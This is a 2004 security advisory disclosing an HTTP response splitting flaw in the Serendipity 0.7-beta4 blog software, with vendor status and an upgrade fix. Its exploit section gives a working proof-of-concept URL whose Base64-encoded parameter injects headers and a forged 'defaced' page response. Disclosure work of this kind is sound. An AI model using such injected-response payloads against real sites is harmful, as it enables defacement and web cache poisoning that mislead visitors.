SECURITY ADVISORY: HTTP Response Splitting in
Serendipity 0.7-beta4

AUTHOR: Chaotic Evil (chaoticevil $$$at$$$ spyring 
$$$dot$$$ com)

DATE: October 21st, 2004

PRODUCT: Serendipity 0.7-beta4 [October 14th, 2004 
(Recommended release, most stable)] - www.s9y.org

FROM THE VENDOR WEBSITE:
Serendipity is a weblog/blog system, implemented with 
PHP. It is standards compliant, feature rich and open 
source (BSD License).

SECURITY VULNERABILITY
HTTP Response Splitting [1].

EXPLOIT:
(observe that the url parameter is Base64-encoded, then 
URL-encoded)

http://SERVER/serendipity/exit.php?url=DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb
250ZW50LUxlbmd0aDogMA0KDQpIVFRQLzEuMCAyMDAgT0sNCkNvbnRlbnQtTGVuZ3RoOiAyMQ0KQ
29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCg0KPGh0bWw%2bKmRlZmFjZWQqPC9odG1sPg%3d%3d

VENDOR STATUS: Vendor contacted October 14th. Vendor 
worked closely with the author and promptly produced a 
fix (see below).

FIX: Use version 0.7rc1 (downloadable at 
http://www.s9y.org/12.html)

REFERENCES:
[1] "'Divide and Conquer' - HTTP Response Splitting, Web 
Cache Poisoning attacks, and Related Topics" by Amit 
Klein, dated March 4th, 2004
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pd
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